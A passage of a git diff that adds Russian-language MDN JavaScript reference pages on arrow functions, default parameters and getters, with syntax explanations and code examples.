+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Function.length")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/functions/arrow_functions/index.html b/files/ru/web/javascript/reference/functions/arrow_functions/index.html
new file mode 100644
index 0000000000..b903c96852
--- /dev/null
+++ b/files/ru/web/javascript/reference/functions/arrow_functions/index.html
@@ -0,0 +1,378 @@
+---
+title: Стрелочные функции
+slug: Web/JavaScript/Reference/Functions/Arrow_functions
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Функции
+translation_of: Web/JavaScript/Reference/Functions/Arrow_functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p><strong>Выражения стрелочных функций</strong> имеют более короткий синтаксис по сравнению с <a href="/ru/docs/Web/JavaScript/Reference/Operators/function">функциональными выражениями</a> и лексически привязаны к значению <a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a> (но не привязаны к собственному <a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a>, <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>, <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/super">super</a>, или <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a>). Выражение стрелочных функций не позволяют задавать имя, поэтому стрелочные функции <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/name">анонимны</a>, если их ни к чему не присвоить.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<h3 id="Базовый_синтаксис">Базовый синтаксис</h3>
+
+<pre class="brush: js">(param1, param2, …, paramN) =&gt; { statements }
+(param1, param2, …, paramN) =&gt; expression
+// эквивалентно: (param1, param2, …, paramN) =&gt; { return expression; }
+
+// Круглые скобки не обязательны для единственного параметра:
+(singleParam) =&gt; { statements }
+singleParam =&gt; { statements }
+
+// Функция без параметров нуждается в круглых скобках:
+() =&gt; { statements }
+() =&gt; expression
+// Эквивалентно: () =&gt; { return expression; }
+</pre>
+
+<h3 id="Расширенный_синтаксис">Расширенный синтаксис</h3>
+
+<pre class="brush: js">// Когда возвращаете литеральное выражение объекта, заключите тело в скобки
+params =&gt; ({foo: bar})
+
+// <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">Rest параметры</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметры по умолчанию</a> поддерживаются
+(param1, param2, ...rest) =&gt; { statements }
+(param1 = defaultValue1, param2, …, paramN = defaultValueN) =&gt; { statements }
+
+// <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Деструктуризация</a> тоже поддерживается
+var f = ([a, b] = [1, 2], {x: c} = {x: a + b}) =&gt; a + b + c;
+f();  // 6
+</pre>
+
+<p>Подробные примеры синтаксиса можно посмотреть <a href="http://wiki.ecmascript.org/doku.php?id=harmony:arrow_function_syntax" title="http://wiki.ecmascript.org/doku.php?id=harmony:arrow_function_syntax">здесь</a>.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Смотрите также <a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a>.</p>
+
+<p>Два фактора повлияли на появление стрелочных функции: более короткий синтаксис и лексика <code>this</code>.</p>
+
+<h3 id="Короткие_функции">Короткие функции</h3>
+
+<p>В некоторых функциональных шаблонах приветствуются более короткие функции. Сравните:</p>
+
+<pre class="brush: js">var elements = [
+  'Hydrogen',
+  'Helium',
+  'Lithium',
+  'Beryllium'
+];
+
+elements.map(function(element) {
+  return element.length;
+}); // Это выражение вернет массив [8, 6, 7, 9]
+
+// Функцию выше можно записать как стрелочную функцию:
+elements.map((element) =&gt; {
+  return element.length;
+}); // [8, 6, 7, 9]
+
+// Если единственным оператором в выражении стрелочной функции является return,
+// можно удалить return и окружающие фигурные скобки
+
+elements.map(element =&gt; element.length); // [8, 6, 7, 9]
+
+// В данном случае, поскольку нам нужно только свойство length, мы можем использовать деструктуризированный параметр:
+// Обратите внимание, что строка `"length"` соответствует свойству, которое мы хотим получить,
+// в то время как `lengthFooBArX` это просто имя переменной, которую можно назвать как вы хотите
+elements.map(({ "length": lengthFooBArX }) =&gt; lengthFooBArX); // [8, 6, 7, 9]
+
+// Это задание деструктуризированного параметра может быть записано, как показано ниже. Тем не менее, обратите внимание,
+// что нет строки `"length"`, чтобы выбрать, какое свойство мы хотим получить. Вместо этого в качестве свойства,
+// которое мы хотим извлечь из объекта, используется само литеральное имя переменной `length`
+elements.map(({ length }) =&gt; length); // [8, 6, 7, 9]
+</pre>
+
+<h3 id="Отсутствие_связывания_с_this">Отсутствие связывания с <code>this</code></h3>
+
+<p>До появления стрелочных функций, каждая новая функция имела своё значение <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> (новый объект в случае конструктора, undefined в <a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">strict</a> режиме вызова функции, контекст объекта при вызове функции как "метода объекта" и т.д.). Это очень раздражало при использовании объектно-ориентированного стиля программирования.</p>
+
+<pre class="brush: js">function Person() {
+  // В конструкторе Person() `this` указывает на себя.
+  this.age = 0;
+
+  setInterval(function growUp() {
+    // В нестрогом режиме, в функции growUp() `this` указывает
+    // на глобальный объект, который отличается от `this`,
+    // определяемом в конструкторе Person().
+    this.age++;
+  }, 1000);
+}
+
+var p = new Person();
+</pre>
+
+<p>В ECMAScript 3/5, данная проблема решалась присваиванием значения <code>this</code> переменной:</p>
+
+<pre class="brush: js">function Person() {
+  var that = this;
+  that.age = 0;
+
+  setInterval(function growUp() {
+    // Функция с обратным вызовом(<a href="/en-US/docs/Mozilla/js-ctypes/Using_js-ctypes/Declaring_and_Using_Callbacks">callback</a>) содержит переменную that, которая
+    // ссылается на требуемый объект this.
+    that.age++;
+  }, 1000);
+}</pre>
+
+<p>Кроме этого, может быть создана <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">привязанная функция</a>, в которую передаётся требуемое значение <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> для функции (функция <code>growUp()</code> в примере выше).</p>
+
+<p>Стрелочные функции не содержат собственный контекст <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, а используют значение <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> окружающего контекста. Поэтому нижеприведенный код работает как предполагалось:</p>
+
+<pre class="brush: js">function Person(){
+  this.age = 0;
+
+  setInterval(() =&gt; {
+    this.age++; // `this` указывает на объект Person
+  }, 1000);
+}
+
+var p = new Person();</pre>
+
+<h4 id="Строгий_режим_исполнения">Строгий режим исполнения</h4>
+
+<p>Поскольку значение <code>this</code> определяется лексикой, правила строгого режима (<a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>) относительно <code>this</code> игнорируются:</p>
+
+<pre class="brush: js">var f = () =&gt; { 'use strict'; return this; };
+f() === window; // или глобальный объект</pre>
+
+<p>Все остальные правила строгого режима применяются как обычно.</p>
+
+<h4 id="Вызов_с_помощью_call_или_apply">Вызов с помощью call или apply</h4>
+
+<p>Так как значение <code>this</code> определяется лексикой, вызов стрелочных функций с помощью методов <code>call()</code> или <code>apply()</code>, даже если передать аргументы в эти методы, не влияет на значение <code>this</code>:</p>
+
+<pre class="brush: js">var adder = {
+  base : 1,
+
+  add : function(a) {
+    var f = v =&gt; v + this.base;
+    return f(a);
+  },
+
+  addThruCall: function(a) {
+    var f = v =&gt; v + this.base;
+    var b = {
+      base : 2
+    };
+
+    return f.call(b, a);
+  }
+};
+
+console.log(adder.add(1));         // Выводит 2
+console.log(adder.addThruCall(1)); // Всё равно выводит 2
+</pre>
+
+<h3 id="Не_имеет_собственного_объекта_arguments">Не имеет собственного объекта arguments</h3>
+
+<p>Стрелочные функции не имеют собственного объекта arguments, поэтому в теле стрелочных функций arguments будет ссылаться на переменную в окружающей области.</p>
+
+<pre class="brush: js">var arguments = 42;
+var arr = () =&gt; arguments;
+
+arr(); // 42
+
+function foo() {
+  var f = (i) =&gt; arguments[0] + i; // Неявное связывание ссылки arguments
+                                   // стрелочной функции f
+                                   // c объектом arguments функции foo
+  return f(2);
+}
+
+foo(1); // 3</pre>
+
+<p>В большинстве случаев лучшей заменой объекта arguments в стрелочных функциях являются <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest параметры</a>:</p>
+
+<pre class="brush: js">function foo() {
+  var f = (...args) =&gt; args[0];
+  return f(2);
+}
+
+foo(1); // 2
+</pre>
+
+<h3 id="Использование_стрелочных_функций_как_методов">Использование стрелочных функций как методов</h3>
+
+<p>Как показано ранее, стрелочные функции лучше всего подходят для функций без методов. Посмотрим, что будет, когда мы попробуем их использовать как методы:</p>
+
+<pre class="brush: js">'use strict';
+var obj = {
+  i: 10,
+  b: () =&gt; console.log(this.i, this),
+  c: function() {
+    console.log(this.i, this);
+  }
+}
+obj.b(); // prints undefined, Window {...} (или глобальный объект)
+obj.c(); // prints 10, Object {...}
+</pre>
+
+<p>Стрелочные функции не объявляют привязку ("bind") их контекста <code>this</code>. Другой пример включает {{jsxref("Object.defineProperty()")}}:</p>
+
+<pre class="brush: js">'use strict';
+var obj = {
+  a: 10
+};
+
+Object.defineProperty(obj, 'b', {
+  get: () =&gt; {
+    console.log(this.a, typeof this.a, this);
+    return this.a + 10;
+    // представляет глобальный объект 'Window', но 'this.a' возвращает 'undefined'
+  }
+});</pre>
+
+<h3 id="Использование_оператора_new">Использование оператора <code>new</code></h3>
+
+<p>Стрелочные функции не могут быть использованы как конструктор и вызовут ошибку при использовании с <code>new</code>:</p>
+
+<pre class="brush: js">var a = new (function() {})
+// переменной "a" будет присвоено значение экземпляра анонимной функции
+
+var b = new (() =&gt; {})
+// будет выброшено исключениe
+// Uncaught TypeError: (intermediate value) is not a constructor</pre>
+
+<h3 id="Использование_ключевого_слова_yield">Использование ключевого слова <code>yield</code></h3>
+
+<p>Ключевое слово <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> не может быть использовано в теле стрелочной функции (за исключением случаев, когда разрешается использовать в функциях, вложенных в тело стрелочной функции). Как следствие стрелочные функции не могут быть использованы как генераторы.</p>
+
+<h2 id="Тело_функции">Тело функции</h2>
+
+<p>Тело стрелочной функции может иметь краткую (concise body) или блочную (block body) форму.</p>
+
+<p>Блочная форма не возвращает значение, необходимо явно вернуть значение.</p>
+
+<pre class="brush: js">var func = x =&gt; x * x;                  // краткий синтаксис,
+                                        // неявно возвращает результат
+var func = (x, y) =&gt; { return x + y; }; // блочный синтаксис,
+                                        // явно возвращает результат</pre>
+
+<h2 id="Возвращаемые_объектные_строки_литералы">Возвращаемые объектные строки (литералы)</h2>
+
+<p>Помните о том, что возвращаемые <a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types#Литерал_объекта/">объектные строки</a> используют сокращённый синтаксис: <code>params =&gt; {object:literal}</code> будет работать не так, как ожидается.</p>
+
+<pre class="brush: js">var func = () =&gt; { foo: 1 };
+// Вызов func() возвращает undefined!
+
+var func = () =&gt; { foo: function() {} };
+// SyntaxError: function statement requires a name</pre>
+
+<p>Это происходит потому что код в скобках ({}) распознаётся как цепочка выражений (т.е. <code>foo</code> трактуется как наименование, а не как ключ в объектной строке).</p>
+
+<p>Не забывайте оборачивать скобками объектные строки.</p>
+
+<pre class="brush: js">var func = () =&gt; ({ foo: 1 });</pre>
+
+<h2 id="Разрывы_строк">Разрывы строк</h2>
+
+<p>Стрелочная функция не может содержать разрывы строк между параметрами и стрелкой.</p>
+
+<pre class="brush: js line-numbers  language-js">var func = ()
+           =&gt; 1;
+// SyntaxError: expected expression, got '=&gt;'
+</pre>
+
+<h2 id="Разбор_порядка_следования">Разбор порядка следования</h2>
+
+<p>Поскольку стрелка в стрелочной функции не является оператором, то стрелочные функции имеют специальные правила разбора (парсинга), которые взаимодействуют с <a href="/ru/docs/Web/JavaScript/Reference/Operators/Operator_Precedence/">приоритетами операторов</a>  иначе, чем в обычных функциях.</p>
+
+<pre class="brush: js">let callback;
+
+callback = callback || function() {}; // ok
+
+callback = callback || () =&gt; {};
+// SyntaxError: invalid arrow-function arguments
+
+callback = callback || (() =&gt; {});    // ok
+</pre>
+
+<h2 id="Больше_примеров">Больше примеров</h2>
+
+<pre class="brush: js">// Пустая стрелочная функция возвращает undefined
+let empty = () =&gt; {};
+
+(() =&gt; 'foobar')();
+// Вернёт "foobar"
+// (Это Immediately Invoked Function Expression
+// смотри '<a href="https://developer.mozilla.org/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/IIFE">IIFE</a>' в справочнике)
+
+var simple = a =&gt; a &gt; 15 ? 15 : a;
+simple(16); // 15
+simple(10); // 10
+
+let max = (a, b) =&gt; a &gt; b ? a : b;
+
+// Удобные операции над массивами: filter, map, ...
+
+var arr = [5, 6, 13, 0, 1, 18, 23];
+
+var sum = arr.reduce((a, b) =&gt; a + b);
+// 66
+
+var even = arr.filter(v =&gt; v % 2 == 0);
+// [6, 0, 18]
+
+var double = arr.map(v =&gt; v * 2);
+// [10, 12, 26, 0, 2, 36, 46]
+
+// Более короткие цепочки promise-ов
+promise.then(a =&gt; {
+  // ...
+}).then(b =&gt; {
+   // ...
+});
+
+// Стрелочные функции без параметров, которые визуально легче разбирать
+setTimeout( () =&gt; {
+  console.log('Я буду раньше');
+  setTimeout( () =&gt; {
+    // deeper code
+    console.log('Я буду позже');
+  }, 1);
+}, 1);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.functions.arrow_functions")}}</p>
+
+<h3 id="Замечания_для_Firefox">Замечания для Firefox</h3>
+
+<ul>
+ <li>Первоначальная реализация стрелочных функций в Firefox автоматически переводила их в строгий режим. Это поведение было изменено в <a href="/en-US/docs/Mozilla/Firefox/Releases/24" title="/en-US/docs/Mozilla/Firefox/Releases/24">Firefox 24</a>. Использование <code>"use strict";</code> стало обязательным.</li>
+ <li>Стрелочные функции семантически отличаются от нестандартных <a href="/ru/docs/Web/JavaScript/Reference/Operators/Expression_closures">Expression Closures</a>, добавленных в <a href="/en-US/Firefox/Releases/3">Firefox 3</a> (подробности в <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8">Javascript 1.8</a>); в Expression Closures значение <code>this</code> не привязано лексически.</li>
+ <li>До <a href="https://developer.mozilla.org/en-US/Firefox/Releases/39">Firefox 39</a>, перенос строки (<code>\n</code>) был ошибочно разрешён после аргументов стрелочной функции. Это было исправлено для соблюдения спецификации ES2015, и код вроде: <code>() \n =&gt; {}</code> теперь вызывает {{jsxref("SyntaxError")}} в этой и более поздних версиях.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/functions/default_parameters/index.html b/files/ru/web/javascript/reference/functions/default_parameters/index.html
new file mode 100644
index 0000000000..2e6568b816
--- /dev/null
+++ b/files/ru/web/javascript/reference/functions/default_parameters/index.html
@@ -0,0 +1,217 @@
+---
+title: Параметры по умолчанию
+slug: Web/JavaScript/Reference/Functions/Default_parameters
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Функции
+  - Экспериментальный
+translation_of: Web/JavaScript/Reference/Functions/Default_parameters
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong>Параметры по умолчанию</strong> позволяют задавать формальным параметрам функции значения по умолчанию в случае, если функция вызвана без аргументов, или если параметру явным образом передано значение <code>undefined</code>.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-default.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">function [<em>name</em>]([<em>param1</em>[ = defaultValue1 ][, ..., <em>paramN</em>[ = defaultValueN ]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<h2 id="Example" name="Example">Описание</h2>
+
+<p>В JavaScript параметры функции, которым при ее вызове не передаются значения, принимают по умолчанию значение <code>{{jsxref("undefined")}}</code>. Однако в некоторых случаях может быть полезно задать иное значение по умолчанию. Именно для таких случаев предназначены параметры по умолчанию.</p>
+
+<p>В прошлом для проверки параметров и задания их значений по умолчанию использовался код в теле функции, в котором проверялось, не равны ли значения параметров <code>undefined</code>.</p>
+
+<p>В приведённом ниже примере, в случае если при вызове функции значение для параметра <code>b</code> не передавалось, его значением становилось <code>undefined</code>,  и результатом вычисления <code>a * b</code> в функции <code>multiply</code> получалось значение <code>NaN</code>.</p>
+
+<pre class="brush: js">function multiply(a, b) {
+  return a * b;
+}
+
+multiply(5, 2); // 10
+multiply(5);    // NaN !</pre>
+
+<p>Чтобы такого не происходило, в теле функции использовался код подобный тому, что находится во второй строчке, где в случае, если функция <code>multiply</code> вызывалась только c одним аргументом, параметру <code>b</code> присваивалось значение <code>1</code>:</p>
+
+<pre class="brush: js">function multiply(a, b) {
+  b = typeof b !== 'undefined' ?  b : 1;
+  return a*b;
+}
+
+multiply(5, 2); // 10
+multiply(5); // 5
+</pre>
+
+<p>С появлением в ES2015 параметров по умолчанию стало возможным обходиться без проверки параметров в теле функции. Так, в приведенном выше примере достаточно в заголовке функции указать <code>1</code> в качестве значения по умолчанию для параметра <code>b</code>:</p>
+
+<pre class="brush: js">function multiply(a, b = 1) {
+  return a*b;
+}
+
+multiply(5, 2); // 10
+multiply(5); // 5
+multiply(5, undefined); // 5</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Передача_значения_undefined_в_сравнении_с_передачей_других_ложных_значений">Передача значения <code>undefined</code> в сравнении с передачей других "ложных" значений</h3>
+
+<p>Значение по умолчанию присваивается формальному параметру только если при вызове функции значение для данного параметра не было передано или было явным образом передано <code>undefined</code>. Если формальному параметру при вызове передано любое значение, отличное от <code>undefined</code>, в том числе одно из <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Falsy">"ложных"</a> значений, таких как <code>false</code>, <code>0</code>, <code>""</code>, <code>''</code>, <code>``</code>, <code>null</code>, <code>NaN</code>, то в этом случае значение по умолчанию присвоено параметру не будет.  Это иллюстрирует следующий пример:</p>
+
+<pre class="brush: js">function test(num = 1) {
+  console.log(typeof num);
+}
+
+// num не прередано, или передано undefined:
+test();          // 'number' (num получил значение 1)
+test(undefined); // 'number' (и здесь num получил значение 1)
+
+// num передано значение null или другое "ложное" значение:
+test('');        // 'string' (num получил значение '')
+test(null);      // 'object' (num получил значение null)
+</pre>
+
+<h3 id="Параметры_по_умолчанию_вычисляются_в_момент_вызова_функции">Параметры по умолчанию вычисляются в момент вызова функции</h3>
+
+<p>В Javascript параметры по умолчанию вычисляются в момент вызова функции. В отличие от языка Python, при каждом вызове функции создается новое лексическое окружение функции.</p>
+
+<pre class="brush: js">function append(value, array = []) {
+  array.push(value);
+  return array;
+}
+
+append(1); // [1]
+append(2); // [2], а не [1, 2]
+
+</pre>
+
+<p>Это верно и для функций, и для переменных:</p>
+
+<pre class="brush: js">function callSomething(thing = something()) {
+ return thing;
+}
+
+let numberOfTimesCalled = 0;
+function something() {
+  numberOfTimesCalled += 1;
+  return numberOfTimesCalled;
+}
+
+callSomething(); // 1
+callSomething(); // 2
+</pre>
+
+<h3 id="Параметры_по_умолчанию_доступны_в_следующих_параметрах_по_умолчанию">Параметры по умолчанию доступны в следующих параметрах по умолчанию</h3>
+
+<p>В параметрах по умолчанию можно использовать значения предыдущих (расположеннных левее в списке) параметров:</p>
+
+<pre class="brush: js">function greet(name, greeting, message = greeting + ' ' + name) {
+    return [name, greeting, message];
+}
+
+greet('David', 'Hi');  // ["David", "Hi", "Hi David"]
+greet('David', 'Hi', 'Happy Birthday!');  // ["David", "Hi", "Happy Birthday!"]</pre>
+
+<p>Следующий пример пример еще раз иллюстирует эту возможность, а также позволяет еще раз сравнить два способа достижения одного и того же результата: с использованием инициализации параметров по умолчанию и без ее использования:</p>
+
+<pre class="brush: js">function go() {
+  return ":P"
+}
+
+function withDefaults(a, b = 5, c = b, d = go(), e = this,
+                      f = arguments, g = this.value) {
+  return [a,b,c,d,e,f,g];
+}
+function withoutDefaults(a, b, c, d, e, f, g){
+  switch(arguments.length){
+    case 0:
+      a
+    case 1:
+      b = 5
+    case 2:
+      c = b
+    case 3:
+      d = go();
+    case 4:
+      e = this
+    case 5:
+      f = arguments
+    case 6:
+      g = this.value;
+    default:
+  }
+  return [a,b,c,d,e,f,g];
+}
+
+withDefaults.call({value:"=^_^="});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+
+
+withoutDefaults.call({value:"=^_^="});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+</pre>
+
+<h3 id="Инициализация_с_помощью_функций_определяемых_в_теле_функции">Инициализация с помощью функций, определяемых в теле функции</h3>
+
+<p>Начиная с версии Gecko 33 {{geckoRelease(33)}} функции, определяемые в теле самой функции, не могут быть использованы для инициализации параметров по умолчанию; попытка это сделать приведет к ошибке {{jsxref("ReferenceError")}}. Параметры по умолчанию всегда вычисляются до обработки описаний функций, определяемых в теле функции.</p>
+
+<pre class="brush: js">// Вызовет ошибку ReferenceError!
+function f(a = go()) {
+  function go(){return ":P"}
+}
+f(); // ReferenceError: go is not defined
+</pre>
+
+<h3 id="Параметры_без_инициализации_следующие_после_инициализируемых_параметров">Параметры без инициализации, следующие после инициализируемых параметров</h3>
+
+<p>До появления версии Gecko 26 {{geckoRelease(26)}}, следующий код приводил к {{jsxref("SyntaxError")}}. Это было исправлено в {{bug(777060)}} и с тех пор работает корректно. Аргументы, передаваемые при вызове функции, становятся значениями формальных параметров независимо от наличия у последних инициализации по умолчанию, а также независимо от присутствия у функции других параметров, находящихся правее в списке параметров и не имеющих инициализации.</p>
+
+<pre class="brush: js">function f(x=1, y) {
+  return [x, y];
+}
+
+f(); // [1, undefined];
+f(2); // [2, undefined];
+</pre>
+
+<h3 id="Инициализация_по_умолчанию_деструктурированных_параметров">Инициализация по умолчанию деструктурированных параметров</h3>
+
+<p>При инициализации параметров по умолчанию можно использовать синтаксическую конструкцию деструктурирующего присваивания:</p>
+
+<pre class="brush: js">function f([x, y] = [1, 2], {z: z} = {z: 3}) {
+  return x + y + z;
+}
+
+f(); // 6</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Определение функций')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.functions.default_parameters")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values" rel="external">Оригинальное предложение на ecmascript.org</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/functions/get/index.html b/files/ru/web/javascript/reference/functions/get/index.html
new file mode 100644
index 0000000000..9e2c329c8e
--- /dev/null
+++ b/files/ru/web/javascript/reference/functions/get/index.html
@@ -0,0 +1,180 @@
+---
+title: getter
+slug: Web/JavaScript/Reference/Functions/get
+tags:
+  - геттер
+translation_of: Web/JavaScript/Reference/Functions/get
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Синтаксис <strong><code>get</code></strong> связывает свойство объекта с функцией, которая будет вызываться при обращении к этому свойству.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-getter.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в GitHub репозитории. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам PR запрос.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{get <var>prop</var>() { ... } }
+{get [<var>expression</var>]() { ... } }</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><var>prop</var></code></dt>
+ <dd>Имя свойства для привязывания к заданной функции.</dd>
+ <dt><code><var>expression</var></code></dt>
+ <dd>Начиная с ECMAScript 6, Вы также можете использовать выражения для вычисляемого имени свойства для привязки к заданной функции.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Иногда желательно разрешить доступ к свойству, которое возвращает динамически вычисляемое значение, или Вы можете захотеть отражать состояние внутренней переменной без необходимости использования явных вызовов методов. В JavaScript, это можно реализовать при помощи использования <em>геттера</em>.</p>
+
+<p>Невозможно сделать так, чтобы геттер был привязан к свойству и одновременно чтобы это свойство действительно содержало значение, хотя можно использовать геттер и сеттер в сочетании, чтобы создать тип псевдо-свойство.</p>
+
+<p>Учтите следующее при работе с синтаксисом <code>get</code>:</p>
+
+<div>
+<ul>
+ <li>Он может иметь идентификатор, который является либо числом, либо строкой;</li>
+ <li>Он должен иметь ровно 0 параметров (смотрите <a class="external" href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Incompatible <abbr title="ECMAScript 5th edition">ES5</abbr> change: literal getter and setter functions must now have exactly zero or one arguments</a> для доп. информации);</li>
+ <li>Он не должен появляться в объектном литерале вместе с другим get или через ввод данных для того же свойства (<code>{ get x() { }, get x() { } }</code> и <code>{ x: ..., get x() { } }</code> запрещены).</li>
+</ul>
+</div>
+
+<p>Геттер можно удалить при помощи оператора <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en/Core_JavaScript_1.5_Reference/Operators/Special_Operators/delete_Operator">delete</a></code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Определение_геттера_на_новом_объекте_в_момент_инициализации_этого_объекта">Определение геттера на новом объекте в момент инициализации этого объекта</h3>
+
+<p>Ниже создается псевдо-свойство <code>latest</code> для объекта <code>obj</code>, который выведет последний элемент массива в консоль лог.</p>
+
+<pre class="brush: js">const obj = {
+  log: ['example','test'],
+  get latest() {
+    if (this.log.length === 0) return undefined;
+    return this.log[this.log.length - 1];
+  }
+}
+console.log(obj.latest); // "test"
+</pre>
+
+<p>Обратите внимание, что попытка присвоить значение <code>latest</code> не изменит его.</p>
+
+<h3 id="Удаление_геттера_оператором_delete">Удаление геттера оператором delete</h3>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Если Вы хотите удалить геттер, используйте </font><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code>:</p>
+
+<pre class="brush: js">delete <var>obj</var>.latest;</pre>
+
+<h3 id="Определение_геттера_на_уже_существующих_объектах_с_помощью_defineProperty">Определение геттера на уже существующих объектах с помощью <code>defineProperty</code></h3>
+
+<p>Для добавления геттера к существующему объекту в любое время используйте <a class="external" href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty" rel="external nofollow">Object.defineProperty()</a>.</p>
+
+<pre class="brush: js">const o = {a: 0};
+
+Object.defineProperty(o, 'b', { get: function() { return this.a + 1; } });
+
+console.log(o.b) // Runs the getter, which yields a + 1 (which is 1)
+</pre>
+
+<h3 id="Использование_вычисляемого_именованного_свойства">Использование вычисляемого именованного свойства</h3>
+
+<div class="note">
+<p><strong>Примечание:</strong> Вычисляемые свойства являются экспериментальной технологией, частью предложений спецификации ECMAScript 6, и массовой поддержки браузерами пока нет. Код ниже вызовет синтаксическую ошибку в неподдерживаемых средах.</p>
+</div>
+
+<pre class="brush: js">var expr = "foo";
+
+var obj = {
+  get [expr]() { return "bar"; }
+};
+
+console.log(obj.foo); // "bar"</pre>
+
+<h3 id="Умные_самостоятельно_перезаписывающиеся_ленивые_геттеры">Умные / самостоятельно перезаписывающиеся/ ленивые геттеры</h3>
+
+<p>Геттеры дают нам возможность определять свойство объекта , но они не вычисляют значение этого свойства до тех пор, пока оно не станет доступно. Геттер откладывает стоимость вычисления значения до тех пор, пока это значение не станет нужно, и если оно никогда не понадобится, то вы никогда не заплатите.</p>
+
+<p>Дополнительная техника оптимизации заключается в том, чтобы лениться или откладывать вычисление значения свойства и кэшировать его для дальнейшего доступа. Так поступают <strong>умные или <a href="https://en.wikipedia.org/wiki/Memoization">запоминающие</a> геттеры</strong>. Значение вычисляется в первый раз при вызове геттера и затем сохраняется в кэше так, что последующие обращения будут возвращать кэшированные значения без его пересчета. Это полезно в следующих ситуациях:</p>
+
+<ul>
